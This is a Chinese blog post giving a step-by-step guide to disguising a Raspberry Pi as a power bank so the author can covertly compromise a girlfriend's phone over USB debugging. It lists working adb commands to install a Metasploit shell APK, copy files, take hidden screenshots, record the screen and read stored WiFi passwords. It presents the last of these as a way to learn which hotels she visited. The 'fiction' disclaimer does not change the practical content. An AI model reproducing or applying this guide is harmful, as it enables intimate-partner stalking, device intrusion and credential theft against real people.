将树莓派伪装成充电宝完成对女盆友的监控
前言本学习纯属虚构,里面涉及到的思路仅供吹牛。请勿非法使用,造成法律后果请自负! https://blog.bbskali.cn/usr/themes/handsome/usr/img/emotion/twemoji/ok.png什么是恶意充电宝https://you.bbskali.cn/MP4/%E5%A4%AE%E8%A7%86315%E6%9B%9D%E5%85%89%E6%89%8B%E6%9C%BA%E5%85%85%E7%94%B5%E6%A1%A9%E6%81%B6%E6%84%8F%E7%9B%97%E5%8F%96%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF.mp4准备
[*]树莓派(虚拟机下没有尝试,因为需要安装手机的驱动。理论上应该也是可以的。)
[*]充电宝外壳(有条件的可以尝试利用3D打印,自己做一个外壳。)
-数据线
安装ADB在树莓派中执行<font color="rgb(240, 141, 73)">apt-get</font> <font color="rgb(240, 141, 73)">install</font> adb
如果失败,请更新你的源为国内阿里云或中科大的源。
验证在终端中输入adb如下,则证明安装完成。
https://niu.bbskali.cn/09334547d04d6c5173022b78c09fab47adb
配置手机在设置中开启开发者选项—USB试调即可。开始测试将手机和树莓派用数据线连接
https://blog.bbskali.cn/usr/uploads/2020/03/242178127.png
这里提示是在充电,我们来看看在不知不觉中我们是如何进入手机的。
终端执行
adb devices
https://niu.bbskali.cn/09334547d04d6c5173022b78c09fab47
其中34fb90f30704 device就是我们刚才连接的手机。
比如这时想指定 34fb90f30704 这个设备来运行 adb 命令获取屏幕分辨率:
adb -s 34fb90f30704 shell wm size
https://blog.bbskali.cn/usr/uploads/2020/03/4255623482.png分辨率.png
显示手机中的所有应用adb shell pm list packages
https://niu.bbskali.cn/046f14720c139bc14055a577444f7068
其他命令参见列表
https://blog.bbskali.cn/usr/uploads/2020/03/3101706320.png
安装apk利用这个功能,我们可以把msfShell安装到我们的目标手机,方便我们测试!
命令格式:adb <font color="rgb(240, 141, 73)">install</font> <font color="rgb(204, 204, 204)">[</font>-lrtsdg <font color="rgb(103, 205, 204)"><</font>path_to_apk<font color="rgb(103, 205, 204)">></font>
参数:adb install 后面可以跟一些可选参数来控制安装 APK 的行为,可用参数及含义如下:
https://blog.bbskali.cn/usr/uploads/2020/03/4116660351.png
如:adb install -g /root/11.apk
效果如下:
https://blog.bbskali.cn/usr/uploads/2020/03/3139439726.png
文件管理复制设备里的文件到电脑命令:adb pull <font color="rgb(103, 205, 204)"><</font>设备里的文件路径<font color="rgb(103, 205, 204)">></font> <font color="rgb(204, 204, 204)">[</font>电脑上的目录
其中 电脑上的目录 参数可以省略,默认复制到当前目录。
例:adb pull /sdcard/sr.mp4 ~/tmp/
小技巧:设备上的文件路径可能需要 root 权限才能访问,如果你的设备已经 root 过,可以先使用 adb shell 和 su 命令在 adb shell 里获取 root 权限后,先 cp /path/on/device /sdcard/filename 将文件复制到 sdcard,然后 adb pull /sdcard/filename /path/on/pc。复制电脑里的文件到设备命令:adb push <font color="rgb(103, 205, 204)"><</font>电脑上的文件路径<font color="rgb(103, 205, 204)">></font> <font color="rgb(103, 205, 204)"><</font>设备里的目录<font color="rgb(103, 205, 204)">></font>
例:adb push ~/sr.mp4 /sdcard/
查看手机电池情况adb shell dumpsys battery
https://blog.bbskali.cn/usr/uploads/2020/03/3980775160.png
其中 scale 代表最大电量,level 代表当前电量。
屏幕截图感觉这个功能很实用,很隐蔽。adb exec-out screencap -p <font color="rgb(103, 205, 204)">></font> bbskali.png
我们利用vnc登录,查看效果。
https://blog.bbskali.cn/usr/uploads/2020/03/3516539274.png目标手机的截图
录制屏幕录制屏幕以 mp4 格式保存到 /sdcard:adb shell screenrecord /sdcard/filename.mp4
需要停止时按 Ctrl-C,默认录制时间和最长录制时间都是 180 秒。如果需要导出到电脑:adb pull /sdcard/filename.mp4查看连接过的 WiFi 密码注:需要 root 权限。
命令:adb shell<font color="rgb(240, 141, 73)">su</font><font color="rgb(240, 141, 73)">cat</font> /data/misc/wifi/*.conf
利用这个命令,我们还可以看看女盆去过那个宾馆或酒店。毕竟都会默默的连WIFI
好了,其他的一些adb命令,你们自己搜索去玩吧。这里不再演示了!伪装现在最重要的问题是,如何让女盆把手机和树莓派连接。我这里的思路是将树莓派放到充电宝的盒子中,并且由充电宝为树莓派提供电源。
https://blog.bbskali.cn/usr/uploads/2020/03/1695702258.png
最后,找个外壳放到里面即可。
页:
[1]